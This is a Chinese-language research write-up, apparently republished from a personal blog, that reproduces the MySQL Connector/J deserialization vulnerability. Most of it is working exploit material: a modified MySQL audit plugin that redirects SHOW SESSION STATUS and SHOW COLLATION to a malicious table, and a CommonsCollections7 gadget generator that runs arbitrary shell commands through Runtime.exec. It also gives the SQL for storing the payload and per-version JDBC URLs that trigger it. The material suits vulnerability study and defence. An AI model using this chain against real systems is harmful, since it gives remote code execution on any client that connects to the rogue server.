作者:沈沉舟
原文鏈接:http://scz.617.cn:8/network/202005262206.txt

背景介紹

2019年11月底Yang Zhang等人在BlackHat上有個議題,提到MySQL JDBC客戶端反序列 化漏洞,用到ServerStatusDiffInterceptor,參[1]。

2019年12月Welkin給出了部分細節,但當時未解決惡意服務端的組建問題,參[2]。

codeplutos利用修改過的MySQL插件成功組建惡意服務端,這個腦洞開得可以。與此 同時,他演示了另一條利用路徑,用到detectCustomCollations。需要指出,他的方 案原理同時適用于ServerStatusDiffInterceptor、detectCustomCollations,他只 以后者舉例而已。參[3]。

2020年4月fnmsd分析MySQL Connector/J各版本后給出大一統的總結,給出不同版本 所需URL,給了Python版惡意服務端,參[4]、[5]、[6]。

2020年5月我學習前幾位的大作,寫了這篇筆記。

學習思路

先將[1]、[2]、[3]、[4]、[5]、[6]全看了一遍,沒做實驗,只是看。對這個洞大概有點數,通 過JDBC建立到MySQL服務端的連接時,有幾個內置的SQL查詢語句被發出,其中兩個查 詢的結果集在客戶端被處理時會調用ObjectInputStream.readObject()進行反序列化。 通過控制結果集,可以在客戶端搞事,具體危害視客戶端擁有的Gadget環境而定。

這兩個查詢語句是:

  • SHOW SESSION STATUS
  • SHOW COLLATION

利用MySQL插件機制將這兩個查詢語句在服務端"重定向"成查詢惡意表,惡意表中某 字段存放惡意Object。

需要安裝MySQL,創建惡意表,編譯定制過的惡意MySQL插件。寫一個通用的JDBC客戶 端程序,用之訪問惡意服務端。用Wireshark抓包,基于抓包數據用Python實現簡版 惡意服務端,這樣可以避免陷入MySQL私有協議細節當中。

搭建測試環境

參看《惡意MySQL Server讀取MySQL Client端文件》

惡意MySQL插件

獲取MySQL 5.7.28源碼

鏈接如下所示:https://repo.mysql.com/yum/mysql-5.7-community/el/7/SRPMS/mysql-community-5.7.28-1.el7.src.rpm

在rewrite_example基礎上修改出evilreplace

$ vi evilreplace.cc

/  Copyright (c) 2015, Oracle and/or its affiliates. All rights reserved.

    This program is free software; you can redistribute it and/or modify
    it under the terms of the GNU General Public License, version 2.0,
    as published by the Free Software Foundation.

    This program is also distributed with certain software (including
    but not limited to OpenSSL) that is licensed under separate terms,
    as designated in a particular file or component or in included license
    documentation.  The authors of MySQL hereby grant you an additional
    permission to link the program and your derivative works with the
    separately licensed software that they have included with MySQL.

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License, version 2.0, for more details.

    You should have received a copy of the GNU General Public License
    along with this program; if not, write to the Free Software
    Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
    02110-1301  USA */

#include <ctype.h>
#include <string.h>

#include <my_global.h>
#include <mysql/plugin.h>
#include <mysql/plugin_audit.h>
#include <mysql/service_mysql_alloc.h>
#include <my_thread.h> // my_thread_handle needed by mysql_memory.h
#include <mysql/psi/mysql_memory.h>

/* instrument the memory allocation */
#ifdef HAVE_PSI_INTERFACE
static PSI_memory_key key_memory_evilreplace;

static PSI_memory_info all_rewrite_memory[]=
{
  { &key_memory_evilreplace, "evilreplace", 0 }
};

static int plugin_init(MYSQL_PLUGIN)
{
  const char* category= "sql";
  int count;

  count= array_elements(all_rewrite_memory);
  mysql_memory_register(category, all_rewrite_memory, count);
  return 0; /* success */
}
#else
#define plugin_init NULL
#define key_memory_evilreplace PSI_NOT_INSTRUMENTED
#endif /* HAVE_PSI_INTERFACE */


static int rewrite_lower(MYSQL_THD thd, mysql_event_class_t event_class,
                         const void *event)
{
  if (event_class == MYSQL_AUDIT_PARSE_CLASS)
  {
    const struct mysql_event_parse *event_parse=
      static_cast<const struct mysql_event_parse *>(event);
    if (event_parse->event_subclass == MYSQL_AUDIT_PARSE_PREPARSE)
    {
#if 0
      size_t query_length= event_parse->query.length;
      char *rewritten_query=
        static_cast<char *>(my_malloc(key_memory_evilreplace,
                                       query_length + 1, MYF(0)));

      for (unsigned i= 0; i < query_length + 1; i++)
        rewritten_query[i]= tolower(event_parse->query.str[i]);

      event_parse->rewritten_query->str= rewritten_query;
      event_parse->rewritten_query->length= query_length;
      *((int *)event_parse->flags)|=
                        (int)MYSQL_AUDIT_PARSE_REWRITE_PLUGIN_QUERY_REWRITTEN;
#else
        if
        (
            ( strcmp( event_parse->query.str, "SHOW SESSION STATUS" ) == 0 )
            ||
            ( strcmp( event_parse->query.str, "SHOW COLLATION" ) == 0 )
        )
        {
            char    evilsql[]       = "select evil_1,evil_2,evil_3 from evildb.eviltable limit 1;";
            char   *rewritten_query = static_cast<char *>
            (
                my_malloc
                (
                    key_memory_evilreplace,
                    strlen( evilsql ) + 1,
                    MYF(0)
                )
            );
            strcpy( rewritten_query, evilsql );
            event_parse->rewritten_query->str       = rewritten_query;
            event_parse->rewritten_query->length    = strlen( evilsql ) + 1;
            *((int *)event_parse->flags)           |= (int)MYSQL_AUDIT_PARSE_REWRITE_PLUGIN_QUERY_REWRITTEN;
        }
#endif
    }
  }

  return 0;
}

/* Audit plugin descriptor */
static struct st_mysql_audit evilreplace_descriptor=
{
  MYSQL_AUDIT_INTERFACE_VERSION,                    /* interface version */
  NULL,                                             /* release_thd()     */
  rewrite_lower,                                    /* event_notify()    */
  { 0,
    0,
    (unsigned long) MYSQL_AUDIT_PARSE_ALL, }        /* class mask        */
};

/* Plugin descriptor */
mysql_declare_plugin(audit_log)
{
  MYSQL_AUDIT_PLUGIN,             /* plugin type                   */
  &evilreplace_descriptor,    /* type specific descriptor      */
  "evilreplace",              /* plugin name                   */
  "Oracle",                       /* author                        */
  "An example of a query rewrite"
  " plugin that rewrites all queries"
  " to lower case",               /* description                   */
  PLUGIN_LICENSE_GPL,             /* license                       */
  plugin_init,                    /* plugin initializer            */
  NULL,                           /* plugin deinitializer          */
  0x0002,                         /* version                       */
  NULL,                           /* status variables              */
  NULL,                           /* system variables              */
  NULL,                           /* reserverd                     */
  0                               /* flags                         */
}

mysql_declare_plugin_end;

參考[3],codeplutos介紹了Ubuntu 16.04下的MySQL插件編譯方案。各發行版的編譯過 程差別較大,RedHat 7.6上明顯不同,建議先搞清楚如何編譯MySQL源碼,再來編譯 單個插件。

編譯:

/usr/bin/c++ -DHAVE_CONFIG_H -DHAVE_LIBEVENT2 -DMYSQL_DYNAMIC_PLUGIN -D_FILE_OFFSET_BITS=64 \
-D_GNU_SOURCE -Devilreplace_EXPORTS -Wall -Wextra -Wformat-security -Wvla -Woverloaded-virtual \
-Wno-unused-parameter -O3 -g -fabi-version=2 -fno-omit-frame-pointer -fno-strict-aliasing -DDBUG_OFF -fPIC \
-I/<path>/mysql-5.7.28/include \
-I/<path>/mysql-5.7.28/extra/rapidjson/include \
-I/<path>/mysql-5.7.28/libbinlogevents/include \
-I/<path>/mysql-5.7.28/libbinlogevents/export \
-isystem /<path>/mysql-5.7.28/zlib \
-I/<path>/mysql-5.7.28/sql \
-I/<path>/mysql-5.7.28/sql/auth \
-I/<path>/mysql-5.7.28/regex \
-o evilreplace.cc.o \
-c evilreplace.cc

鏈接:

/usr/bin/c++ -fPIC -Wall -Wextra -Wformat-security -Wvla -Woverloaded-virtual -Wno-unused-parameter \
-O3 -g -fabi-version=2 -fno-omit-frame-pointer -fno-strict-aliasing -DDBUG_OFF \
-fPIC -shared -Wl,-soname,evilreplace.so -o evilreplace.so \
evilreplace.cc.o -lpthread \
/<path>/libmysqlservices.a -lpthread

測試rewriter插件

rewriter.so是自帶的插件,不需要源碼編譯。

安裝rewriter.so

查看:/usr/share/mysql/install_rewriter.sql

除了安裝rewriter.so,還涉及輔助表和存儲過程的創建。

mysql> source /usr/share/mysql/install_rewriter.sql

這會多出query_rewrite庫、query_rewrite.rewrite_rules表。

mysql> show plugins;

Name Status Type Library License
Rewriter ACTIVE AUDIT rewriter.so GPL

mysql> SHOW GLOBAL VARIABLES LIKE 'rewriter_enabled';

Variable_name Value
rewriter_enabled ON

在服務端替換SQL查詢語句

query_rewrite.rewrite_rules表中插入替換規則:

mysql> insert into query_rewrite.rewrite_rules(pattern, replacement) values('select line from sczdb.SczTable', 'select line from sczdb.scztable limit 1');

調用存儲過程刷新,使之熱生效:

mysql> call query_rewrite.flush_rewrite_rules();

測試替換規則:

mysql> select line from sczdb.SczTable;

卸載rewriter.so

mysql> source /usr/share/mysql/uninstall_rewriter.sql

只有退出當前客戶端才徹底卸載rewriter插件,否則其仍在生效中。

rewriter插件的局限性

清空表,二選一,推薦后者:

  • delete from query_rewrite.rewrite_rules;
  • truncate table query_rewrite.rewrite_rules;

mysql> insert into query_rewrite.rewrite_rules(pattern, replacement) values('SHOW SESSION STATUS', 'select * from evildb.eviltable');

mysql> select * from query_rewrite.rewrite_rules;

id pattern pattern_database replacement enabled message pattern_digest normalized_pattern
1 SHOW SESSION STATUS NULL select * from evildb.eviltable YES NULL NULL NULL
  • mysql> call query_rewrite.flush_rewrite_rules();
  • ERROR 1644 (45000): Loading of some rule(s) failed.

調用存儲過程刷新時意外失敗,查看失敗原因:

mysql> select message from query_rewrite.rewrite_rules;

pattern必須是select語句,show語句不行。

據說5.7的pattern只支持select,8.0支持insert、update、delete,未實測驗證。 難怪codeplutos要修改rewrite_example.cc。

漏洞相關的SQL查詢語句

SHOW SESSION STATUS

mysql> help SHOW
...
SHOW COLLATION [like_or_where]
...
SHOW [GLOBAL | SESSION] STATUS [like_or_where]
...
If the syntax for a given SHOW statement includes a LIKE 'pattern'
part, 'pattern' is a string that can contain the SQL % and _ wildcard
characters. The pattern is useful for restricting statement output to
matching values.

...

URL: https://dev.mysql.com/doc/refman/5.7/en/show.html

mysql> help SHOW STATUS

...

URL:https://dev.mysql.com/doc/refman/5.7/en/show-status.html

"SHOW SESSION STATUS"訪問INFORMATION_SCHEMA.SESSION_STATUS表。參[2],作者 說訪問INFORMATION_SCHEMA.SESSION_VARIABLES表,他應該說錯了。

查看INFORMATION_SCHEMA.SESSION_STATUS表結構:

mysql> select table_schema,table_name,column_name,column_type from information_schema.columns where table_name='SESSION_STATUS';

table_schema table_name column_name column_type
information_schema SESSION_STATUS VARIABLE_NAME varchar(64)
information_schema SESSION_STATUS VARIABLE_VALUE varchar(1024)

直接訪問INFORMATION_SCHEMA.SESSION_STATUS表缺省會失敗:

mysql> select VARIABLE_NAME,VARIABLE_VALUE from INFORMATION_SCHEMA.SESSION_STATUS limit 10;

ERROR 3167 (HY000): The 'INFORMATION_SCHEMA.SESSION_STATUS' feature is disabled; see the documentation for 'show_compatibility_56'

需要打開一個開關:

mysql> set @@global.show_compatibility_56=ON;

mysql> select * from INFORMATION_SCHEMA.SESSION_STATUS limit 10; mysql> select VARIABLE_NAME,VARIABLE_VALUE from INFORMATION_SCHEMA.SESSION_STATUS limit 10;

VARIABLE_NAME VARIABLE_VALUE
ABORTED_CLIENTS 1
ABORTED_CONNECTS 0
BINLOG_CACHE_DISK_USE 0
BINLOG_CACHE_USE 0
BINLOG_STMT_CACHE_DISK_USE 0
BINLOG_STMT_CACHE_USE 0
BYTES_RECEIVED 2809
BYTES_SENT 11620
COM_ADMIN_COMMANDS 0
COM_ASSIGN_TO_KEYCACHE 0

SHOW COLLATION

mysql> help SHOW COLLATION;

...

URL: https://dev.mysql.com/doc/refman/5.7/en/show-collation.html

mysql> SHOW COLLATION WHERE Charset='latin1';

Collation Charset Id Default Compiled Sortlen
latin1_german1_ci latin1 5 Yes 1
latin1_swedish_ci latin1 8 Yes Yes 1
latin1_danish_ci latin1 15 Yes 1
latin1_german2_ci latin1 31 Yes 2
latin1_bin latin1 47 Yes 1
latin1_general_ci latin1 48 Yes 1
latin1_general_cs latin1 49 Yes 1
latin1_spanish_ci latin1 94 Yes 1

"SHOW COLLATION"訪問INFORMATION_SCHEMA.COLLATIONS表。

查看INFORMATION_SCHEMA.COLLATIONS表結構:

mysql> select table_schema,table_name,column_name,column_type from information_schema.columns where table_name='COLLATIONS';

table_schema table_name column_name column_type
information_schema COLLATIONS COLLATION_NAME varchar(32)
information_schema COLLATIONS CHARACTER_SET_NAME varchar(32)
information_schema COLLATIONS ID bigint(11)
information_schema COLLATIONS IS_DEFAULT varchar(3)
information_schema COLLATIONS IS_COMPILED varchar(3)
information_schema COLLATIONS SORTLEN bigint(3)

可以直接訪問INFORMATION_SCHEMA.COLLATIONS表,與show_compatibility_56無關。

mysql> show variables like 'show_compatibility_56';

Variable_name Value
show_compatibility_56 OFF

mysql> select * from INFORMATION_SCHEMA.COLLATIONS limit 5;

COLLATION_NAME CHARACTER_SET_NAME ID IS_DEFAULT IS_COMPILED SORTLE
big5_chinese_ci big5 1 Yes Yes 1
big5_bin big5 84 Yes 1
dec8_swedish_ci dec8 3 Yes Yes 1
dec8_bin dec8 69 Yes 1
cp850_general_ci cp850 4 Yes Yes 1

復現漏洞

GenerateCommonsCollections7.java

/*
 * javac -encoding GBK -g -cp "commons-collections-3.1.jar" GenerateCommonsCollections7.java
 * java -cp "commons-collections-3.1.jar:." GenerateCommonsCollections7 "/bin/touch /tmp/scz_is_here" /tmp/out.bin
 */
import java.io.*;
import java.util.*;
import java.lang.reflect.*;
import javax.naming.*;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.LazyMap;

public class GenerateCommonsCollections7
{
    /*
     * ysoserial/CommonsCollections7
          */
        @SuppressWarnings("unchecked")
        private static Object getObject ( String cmd ) throws Exception
        {
        Transformer[]   tarray      = new Transformer[]
        {
            new ConstantTransformer( Runtime.class ),
            new InvokerTransformer
            (
                "getMethod",
                new Class[]
                {
                    String.class,
                    Class[].class
                },
                new Object[]
                {
                    "getRuntime",
                    new Class[0]
                }
            ),
            new InvokerTransformer
            (
                "invoke",
                new Class[]
                {
                    Object.class,
                    Object[].class
                },
                new Object[]
                {
                    null,
                    new Object[0]
                }
            ),
            new InvokerTransformer
            (
                "exec",
                new Class[]
                {
                    String[].class
                },
                new Object[]
                {
                    new String[]
                    {
                        "/bin/bash",
                        "-c",
                        cmd
                    }
                }
            )
        };
        Transformer     tchain      = new ChainedTransformer( new Transformer[0] );
        Map             normalMap_0 = new HashMap();
        Map             normalMap_1 = new HashMap();
        Map             lazyMap_0   = LazyMap.decorate( normalMap_0, tchain );
        Map             lazyMap_1   = LazyMap.decorate( normalMap_1, tchain );
        lazyMap_0.put( "scz", "same" );
        lazyMap_1.put( "tDz", "same" );
        Hashtable       ht          = new Hashtable();
        ht.put( lazyMap_0, "value_0" );
        ht.put( lazyMap_1, "value_1" );
        lazyMap_1.remove( "scz" );
        Field           f           = ChainedTransformer.class.getDeclaredField( "iTransformers" );
        f.setAccessible( true );
        f.set( tchain, tarray );
        return( ht );
        }

    public static void main ( String[] argv ) throws Exception
    {
        String              cmd     = argv[0];
        String              out     = argv[1];
        Object              obj     = getObject( cmd );
        FileOutputStream    fos = new FileOutputStream( out );
        ObjectOutputStream  oos = new ObjectOutputStream( fos );
        oos.writeObject( obj );
        oos.close();
        fos.close();
    }
}

java -cp "commons-collections-3.1.jar:." GenerateCommonsCollections7 "/bin/touch /tmp/scz_is_here" /tmp/out.bin xxd -p -c 1000000 /tmp/out.bin

輸出形如:

aced00057372...3178

創建惡意表

DROP TABLE IF EXISTS evildb.eviltable;
DROP DATABASE IF EXISTS evildb;

CREATE DATABASE IF NOT EXISTS evildb;
CREATE TABLE IF NOT EXISTS evildb.eviltable
(
    evil_1  int(5),
    evil_2  blob,
    evil_3  int(5)
);

set @obj=0xaced00057372...3178;

INSERT INTO evildb.eviltable VALUES (1, @obj, 3);

UPDATE evildb.eviltable SET evil_1=1, evil_2=@obj, evil_3=3;

select lower(hex(evil_2)) from evildb.eviltable;

SHOW GRANTS FOR root;
GRANT ALL ON evildb.eviltable TO 'root'@'%';
REVOKE ALL ON evildb.eviltable FROM 'root'@'%';

evil_1、evil_3也可以用blob類型,填充同樣的@obj,觸發點略有差異。上面演示的 惡意表是最小集,通吃。

用evilreplace插件改變SQL查詢語句

用evilreplace插件將來自客戶端的:

  • SHOW SESSION STATUS
  • SHOW COLLATION

替換成:select evil_1,evil_2,evil_3 from evildb.eviltable limit 1;

參[3],這是codeplutos的思路,很有想像力,他用了自編譯rewrite_example.so。

INSTALL PLUGIN evilreplace SONAME 'evilreplace.so';

  • SHOW SESSION STATUS;
  • SHOW COLLATION;
  • UNINSTALL PLUGIN evilreplace;

JDBCClient.java

/*
 * javac -encoding GBK -g JDBCClient.java
 */
import java.io.*;
import java.sql.*;

public class JDBCClient
{
    public static void main ( String[] argv ) throws Exception
    {
        String      url     = argv[0];
        Connection  conn    = DriverManager.getConnection( url );
    }
}

JDBCClient.java無需顯式代碼:

Class.forName( "com.mysql.cj.jdbc.Driver" );

MySQL Connector/J 各版本所需URL(ServerStatusDiffInterceptor)

參[4]、[5]、[6],fnmsd分析了各種版本所需URL。

8.x

java \
-cp "mysql-connector-java-8.0.14.jar:commons-collections-3.1.jar:." \
JDBCClient "jdbc:mysql://192.168.65.23:3306/evildb?useSSL=false&user=root&password=123456&\
autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor"
簡化版調用關系
DriverManager.getConnection                                         // 8u232+8.0.14
  DriverManager.getConnection                                       // DriverManager:270
    NonRegisteringDriver.connect                                    // DriverManager:664
      ConnectionImpl.getInstance                                    // NonRegisteringDriver:199
        ConnectionImpl.<init>                                       // ConnectionImpl:240
          ConnectionImpl.initializeSafeQueryInterceptors            // ConnectionImpl:448
          ConnectionImpl.createNewIO                                // ConnectionImpl:455
            ConnectionImpl.connectOneTryOnly                        // ConnectionImpl:825
              ConnectionImpl.initializePropsFromServer              // ConnectionImpl:966
                ConnectionImpl.handleAutoCommitDefaults             // ConnectionImpl:1327
                  ConnectionImpl.setAutoCommit                      // ConnectionImpl:1382
                    NativeSession.execSQL                           // ConnectionImpl:2064
                                                                    // 查詢語句"SET autocommit=1"
                      NativeProtocol.sendQueryString                // NativeSession:1154
                        NativeProtocol.sendQueryPacket              // NativeProtocol:921
                          if (this.queryInterceptors != null)       // NativeProtocol:969
                          NativeProtocol.invokeQueryInterceptorsPre // NativeProtocol:970
                            NoSubInterceptorWrapper.preProcess      // NativeProtocol:1144
                              ServerStatusDiffInterceptor.preProcess
                                                                    // NoSubInterceptorWrapper:76
                                ServerStatusDiffInterceptor.populateMapWithSessionStatusValues
                                                                    // ServerStatusDiffInterceptor:105
                                  rs = stmt.executeQuery("SHOW SESSION STATUS")
                                                                    // ServerStatusDiffInterceptor:86
                                                                    // 自動提交SQL查詢
                                  ResultSetUtil.resultSetToMap      // ServerStatusDiffInterceptor:87
                                    ResultSetImpl.getObject         // ResultSetUtil:46
                                                                    // mappedValues.put(rs.getObject(1), rs.getObject(2))
                                                                    // 處理結果集中第1、2列
                                      if ((field.isBinary()) || (field.isBlob()))
                                                                    // ResultSetImpl:1314
                                      byte[] data = getBytes(columnIndex)
                                                                    // ResultSetImpl:1315
                                      if (this.connection.getPropertySet().getBooleanProperty(PropertyKey.autoDeserialize).getValue())
                                                                    // ResultSetImpl:1317
                                                                    // 要求autoDeserialize等于true
                                      ObjectInputStream.readObject  // ResultSetImpl:1326
                                                                    // obj = objIn.readObject();
                                        Hashtable.readObject        // ysoserial/CommonsCollections7
                                          Hashtable.reconstitutionPut
                                            AbstractMapDecorator.equals
                                              AbstractMap.equals
                                                LazyMap.get         // 此處開始LazyMap利用鏈
                                                  ChainedTransformer.transform
                                                    InvokerTransformer.transform
                                                      Runtime.exec
                          if (this.queryInterceptors != null)       // NativeProtocol:1109
                          NativeProtocol.invokeQueryInterceptorsPost
                                                                    // NativeProtocol:1110
mysql-connector-java-8.0.14.pcap

請自行抓包,此處略

5.2) 6.x

queryInterceptors => statementInterceptors

java \
-cp "mysql-connector-java-6.0.3.jar:commons-collections-3.1.jar:." \
JDBCClient "jdbc:mysql://192.168.65.23:3306/evildb?useSSL=false&user=root&password=123456&\
autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor"

5.2.2) mysql-connector-java-6.0.3.pcap

請自行抓包,此處略

5.3) 5.1.11及以上版本

com.mysql.cj. => com.mysql.

java \
-cp "mysql-connector-java-5.1.40.jar:commons-collections-3.1.jar:." \
JDBCClient "jdbc:mysql://192.168.65.23:3306/evildb?useSSL=false&user=root&password=123456&\
autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor"
5.3.2) mysql-connector-java-5.1.40.pcap

請自行抓包,此處略

6) MySQL Connector/J 各版本所需URL(detectCustomCollations)

參[3],觸發方式是codeplutos提供的。重點看這個函數:

com.mysql.jdbc.ConnectionImpl.buildCollationMapping()

參[4]、[5]、[6],fnmsd分析了各種版本所需URL。

6.1) 5.1.29-5.1.40
java \
-cp "mysql-connector-java-5.1.40.jar:commons-collections-3.1.jar:." \
JDBCClient "jdbc:mysql://192.168.65.23:3306/evildb?useSSL=false&user=root&password=123456&\
autoDeserialize=true&detectCustomCollations=true"

會拋異常,但惡意代碼已被執行。

6.1.1) 簡化版調用關系
DriverManager.getConnection                                         // 8u232+5.1.40
  DriverManager.getConnection                                       // DriverManager:270
    NonRegisteringDriver.connect                                    // DriverManager:664
      ConnectionImpl.getInstance                                    // NonRegisteringDriver:328
        Util.handleNewInstance                                      // ConnectionImpl:410
          Constructor.newInstance                                   // Util:425
            JDBC4Connection.<init>
              ConnectionImpl.<init>                                 // JDBC4Connection:47
                ConnectionImpl.initializeSafeStatementInterceptors  // ConnectionImpl:805
                ConnectionImpl.createNewIO                          // ConnectionImpl:806
                  ConnectionImpl.connectOneTryOnly                  // ConnectionImpl:2083
                    ConnectionImpl.initializePropsFromServer        // ConnectionImpl:2297
                      if (versionMeetsMinimum(3, 21, 22))           // ConnectionImpl:3282
                      ConnectionImpl.buildCollationMapping          // ConnectionImpl:3291
                        if ((versionMeetsMinimum(4, 1, 0)) && (getDetectCustomCollations()))
                                                                    // ConnectionImpl:944
                                                                    // 5.1.28版只檢查版本號,未檢查detectCustomCollations屬性
                        results = stmt.executeQuery("SHOW COLLATION")
                                                                    // ConnectionImpl:957
                                                                    // 自動提交SQL查詢
                        if (versionMeetsMinimum(5, 0, 0))           // ConnectionImpl:958
                        Util.resultSetToMap                         // ConnectionImpl:959
                                                                    // Util.resultSetToMap(sortedCollationMap, results, 3, 2)
                                                                    // 處理結果集中第3、2列
                          ResultSetImpl.getObject                   // Util:474
                                                                    // mappedValues.put(rs.getObject(key), rs.getObject(value))
                            ResultSetImpl.getObjectDeserializingIfNeeded
                                                                    // ResultSetImpl:4544
                              byte[] data = getBytes(columnIndex)   // ResultSetImpl:4568
                              ObjectInputStream.readObject          // ResultSetImpl:4579
                                                                    // obj = objIn.readObject()
                                Hashtable.readObject                // ysoserial/CommonsCollections7
                                  Hashtable.reconstitutionPut
                                    AbstractMapDecorator.equals
                                      AbstractMap.equals
                                        LazyMap.get                 // 此處開始LazyMap利用鏈
                                          ChainedTransformer.transform
                                            InvokerTransformer.transform
                                              Runtime.exec
6.1.2) mysql-connector-java-5.1.40_d.pcap

請自行抓包,此處略

6.2) 5.1.19-5.1.28

不需要指定"detectCustomCollations=true"

java \ -cp "mysql-connector-java-5.1.19.jar:commons-collections-3.1.jar:." \ JDBCClient "jdbc:mysql://192.168.65.23:3306/evildb?useSSL=false&user=root&password=123456&\ autoDeserialize=true"

6.2.2) mysql-connector-java-5.1.19_d.pcap

請自行抓包,此處略

7) Python版惡意服務端

7.1) fnmsd的實現

https://github.com/fnmsd/MySQL_Fake_Server他這個實現同時支持ServerStatusDiffInterceptor、detectCustomCollations,還 支持"惡意MySQL Server讀取MySQL Client端文件",只需要Python3。

他在"踩過的坑"里寫了一些值得注意的點,有興趣者可以看他的源碼。

7.2) 其他思路

fnmsd的實現,功能完備。如果只是想搞標題所說漏洞,我說個別的思路。可以基于 Gifts版本實現反序列化惡意服務端:https://github.com/Gifts/Rogue-MySql-Server

ServerStatusDiffInterceptor適用范圍包含detectCustomCollations適用范圍,為 了減少麻煩,可以只支持ServerStatusDiffInterceptor。具體來說,就是只特殊響 應"SHOW SESSION STATUS",不特殊響應"SHOW COLLATION"。

基于三次抓包組織響應報文:

mysql-connector-java-5.1.40.pcap
mysql-connector-java-6.0.3.pcap
mysql-connector-java-8.0.14.pcap

要點如下:

5.1.11及以上版本
6.x

    特殊響應"SHOW SESSION STATUS",然后必須特殊響應隨后而來的
    "SHOW WARNINGS"。

8.x

    按抓包所示響應初始查詢:

    /* mysql-connector-java-8.0.14 (Revision: 36534fa273b4d7824a8668ca685465cf8eaeadd9) */SELECT ...

    然后按抓包所示響應隨后而來的"SHOW WARNINGS"。

    特殊響應"SHOW SESSION STATUS",然后必須特殊響應隨后而來的
    "SHOW WARNINGS"。

這種搞法的好處是不用特別理解MySQL私有協議,fnmsd"踩過的坑"你都不會碰上。

十多年前我們按協議規范組織SMB報文時,有天看到某人在PoC里用了一個變量名,叫 sendcode,他實際是把Ethereal抓包看到數據直接投放出來。當時我們很震驚,不是 佩服得震驚。后來覺得某些場景下這樣干,也沒什么可鄙視的。

基于三次抓包組織響應報文的思路,跟sendcode異曲同工,比你想像得要通用。

當然,如果不是特別好奇,還是用fnmsd的實現吧。

參考鏈接

  1. https://i.blackhat.com/eu-19/Thursday/eu-19-Zhang-New-Exploit-Technique-In-Java-Deserialization-Attack.pdf

  2. https://www.cnblogs.com/Welk1n/p/12056097.html

  3. https://github.com/codeplutos/MySQL-JDBC-Deserialization-Payload

  4. https://www.anquanke.com/post/id/203086

  5. https://blog.csdn.net/fnmsd/article/details/106232092

  6. https://github.com/fnmsd/MySQL_Fake_Server

  7. https://dev.mysql.com/doc/connector-j/8.0/en/connector-j-reference-jdbc-url-format.html

  8. https://dev.mysql.com/doc/connector-j/8.0/en/connector-j-reference-configuration-properties.html

  9. https://dev.mysql.com/doc/refman/5.7/en/show-plugins.html

  10. https://dev.mysql.com/doc/refman/5.7/en/status-table.html

  11. https://dev.mysql.com/doc/internals/en/com-query-response.html

  12. https://dev.mysql.com/doc/internals/en/binary-protocol-value.html

  13. https://dev.mysql.com/doc/internals/en/protocoltext-resultset.html


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1227/